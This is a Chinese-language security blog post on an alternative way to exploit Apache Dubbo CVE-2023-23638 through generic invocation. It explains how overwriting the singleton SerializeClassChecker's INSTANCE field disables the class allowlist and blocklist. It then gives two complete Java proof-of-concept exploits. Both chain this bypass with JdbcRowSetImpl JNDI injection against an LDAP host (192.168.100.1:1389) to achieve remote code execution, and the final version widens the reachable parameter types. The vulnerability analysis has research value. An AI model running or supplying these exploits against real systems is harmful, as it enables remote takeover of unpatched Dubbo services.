Apache Dubbo CVE-2023-23638 的另外一种利用方式
一些参考链接
https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cb
https://github.com/apache/dubbo/commit/6e5c1f8665216ccda4b2eb8c0465882efe62dd61
https://github.com/apache/dubbo/commit/ce3b0e285a463b566a9d685049201bfaf526c8ac
https://github.com/apache/dubbo/commit/4f664f0a3d338673f4b554230345b89c580bccbb
对比下 commit 可以发现它增加了对 Seralizable 接口的检查, 在 >= 3.1.6 版本中这个选项默认是开启的, 也就是阻止了非 Serializable 接口实现类的序列化与反序列化
https://cn.dubbo.apache.org/zh-cn/overview/mannual/java-sdk/advanced-features-and-usage/security/class-check/
然后参考 Apache mailist 的内容可以发现漏洞点是 Generic Invoke
, 也就是泛化调用
https://cn.dubbo.apache.org/zh-cn/overview/mannual/java-sdk/advanced-features-and-usage/service/generic-reference/
简单来说, 泛化调用可以使我们不依赖具体的接口 API, 就可以调用对应 Service 的某个方法
官方 samples 如下
https://github.com/apache/dubbo-samples/tree/master/2-advanced/dubbo-samples-generic
以 3.1.5 版本为例
HelloService.java
1
2
3
|
public interface HelloService {
Object sayHello(Object name);
}
|
HelloServiceImpl.java
1
2
3
4
5
6
|
public class HelloServiceImpl implements HelloService {
@Override
public Object sayHello(Object name) {
return name;
}
}
|
DemoConsumer.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package org.apache.dubbo.samples;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class DemoConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
context.start();
GenericService genericService = (GenericService) context.getBean("helloService");
genericService.$invoke("sayHello", new String[]{"java.lang.Object"}, new Object[]{new HashMap<>()});
}
}
|
DemoProvider.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
package org.apache.dubbo.samples;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import java.util.concurrent.CountDownLatch;
public class DemoProvider {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-provider.xml");
context.start();
System.out.println("dubbo service started");
new CountDownLatch(1).await();
}
}
|
参考 commit 里面更改的内容, 关注 org.apache.dubbo.common.utils.PojoUtils#realize0
方法
如果 pojo 属于 Map 类型, 就会将其中 class
键对应的内容取出来作为 className, 先通过 SerializeClassChecker 的 validateClass 进行过滤, 然后传入 forName 方法加载类
getInstance 方法
然后注意对 INSTANCE 属性的定义
1
|
private static volatile SerializeClassChecker INSTANCE = null;
|
很经典的单例模式
validateClass 方法
首先验证白名单, 然后验证黑名单
CLASS_DESERIALIZE_ALLOWED_SET
和 CLASS_DESERIALIZE_BLOCKED_SET
的内容对应在 dubbo jar 包的 security 目录下
回到 realize0 方法, 继续往下看
遍历 Map 中所有的 key, 并尝试获取与 key 对应的 setter 或 Field, 然后赋值
setter 赋值跟 fastjson 的反序列化很像, 所以很容易想出来一种常规的利用思路: 调用 JdbcRowSetImpl 的 setAutoCommit 方法造成 jndi 注入 (这里其实可以使用其它反序列化的 payload, 但为了方便后续分析就选用了 jndi 注入)
但是由于 SerializeClassChecker 会对 classname 进行检查, 默认的黑名单已经基本上把所有可以触发漏洞的类都给过滤了
不过在这里有一个很有意思的点: 在 Apache Dubbo 从 2.7.21, 3.0.13, 3.1.5 升级到 2.7.22, 3.0.14, 3.1.6 (已修复漏洞的版本) 的过程中, security 目录下的 serialize.allowlist
和 serialize.blockedlist
, 也就是白名单和黑名单, 没有任何变化
那么可以大致推断出来, 这个漏洞并不是由于新增的某条利用链所引起的, 否则 dubbo 就应该只会更新自己的黑白名单, 但是它却使用了一种更为彻底的过滤方法 (检测 class 是否实现 Serializable 接口)
所以这里的绕过思路需要更大胆一点
因为上面的过程会同时获取可能的 setter 和 Field, 然后赋值, 所以我们基本上可以控制任何类的任何属性 (即使它没有对应的 setter)
而且最关键的一点在于 SerializeClassChecker 并不在黑名单里面, 而它又是单例模式, 会通过 getInstance 方法返回 INSTANCE 属性对应的值, 即 SerializeClassChecker 的实例对象
所以我们可以通过上面的 Field 赋值机制, 将 SerializeClassChecker 的 INSTANCE 属性更改为我们自定义的 SerializeClassChecker, 然后在这个自定义的 checker 中, 将 JdbcRowSetImpl 加到白名单里面, 或者将黑名单置空, 或者将 OPEN_CHECK_CLASS
更改为 false, 从而绕过这个检查机制
poc 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
package org.apache.dubbo.samples;
import org.apache.dubbo.common.utils.ConcurrentHashSet;
import org.apache.dubbo.common.utils.SerializeClassChecker;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Set;
public class DemoConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
context.start();
Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
constructor.setAccessible(true);
Unsafe unsafe = constructor.newInstance();
Set<String> allowSet = new ConcurrentHashSet<>();
allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());
SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
f.setAccessible(true);
f.set(serializeClassChecker, allowSet);
// SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
// Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET");
// f.setAccessible(true);
// f.set(serializeClassChecker, new ConcurrentHashSet<>());
Map<Object, Object> map1 = new HashMap<>();
map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map1.put("INSTANCE", serializeClassChecker);
Map<Object, Object> map2 = new LinkedHashMap<>();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc");
map2.put("autoCommit", true);
Map<Object, Object> map3 = new LinkedHashMap<>();
map3.put("1", map1);
map3.put("2", map2);
GenericService genericService = (GenericService) context.getBean("helloService");
genericService.$invoke("sayHello", new String[]{"java.lang.Object"}, new Object[]{map3});
}
}
|
这里面有一些注意点
- 为了避免在实例化 SerializeClassChecker 的时候调用构造函数自行加载黑白名单和设置
OPEN_CHECK_CLASS
属性, 需要使用 Unsafe 类以在无需调用构造函数的情况下进行实例化
- 在反序列化 JdbcRowSetImpl 类的过程中, setter 的调用必须保证先后顺序, 即先调用
setDataSourceName
, 然后再调用 setAutoCommit
, 所以需要使用 LinkedHashMap
- Hessian 序列化时会在本地检查对应类是否实现了 Serializable 接口, 在 dubbo consumer 中可以设置
-Ddubbo.hessian.allowNonSerializable=true
参数以禁用检查
- 在修改白名单的时候注意把 classname 全部转成小写
测试在 Apache Dubbo 2.7.21, 3.0.13, 3.1.5 三个版本中都能够弹出计算器
后来发现一个问题, 就是在调用 sayHello 方法时, 参数的类型必须是 java.lang.Object
, 否则会出现无法利用的情况 (利用面有点窄)
经过测试发现问题出现在下面的地方
当参数为 java.lang.String
或其它类型时, 无法进入 if 语句, 也就无法对 HashMap 中的 value 调用 realize0 方法
解决方法是使用 Collection
当 pojo 属于 Collection 类或其子类的时候, 无论 type 的具体内容是什么, 最终都会遍历 Collection 并对里面的值调用 realize0 方法
所以利用 Collection 的子类构造 poc 可以将利用面从参数为 java.lang.Object
类型扩大为参数为 java.lang.Object
, java.lang.String
, java.lang.Integer
等其它非基本类型
最终 poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
package org.apache.dubbo.samples;
import org.apache.dubbo.common.utils.ConcurrentHashSet;
import org.apache.dubbo.common.utils.SerializeClassChecker;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;
public class DemoConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
context.start();
Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
constructor.setAccessible(true);
Unsafe unsafe = constructor.newInstance();
Set<String> allowSet = new ConcurrentHashSet<>();
allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());
SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
f.setAccessible(true);
f.set(serializeClassChecker, allowSet);
// SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
// Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_BLOCKED_SET");
// f.setAccessible(true);
// f.set(serializeClassChecker, new ConcurrentHashSet<>());
Map<Object, Object> map1 = new HashMap<>();
map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map1.put("INSTANCE", serializeClassChecker);
Map<Object, Object> map2 = new LinkedHashMap<>();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("dataSourceName", "ldap://192.168.100.1:1389/Basic/Command/calc");
map2.put("autoCommit", true);
List list = new LinkedList();
list.add(map1);
list.add(map2);
GenericService genericService = (GenericService) context.getBean("helloService");
genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{list});
}
}
|
相关源代码: https://github.com/X1r0z/CVE-2023-23638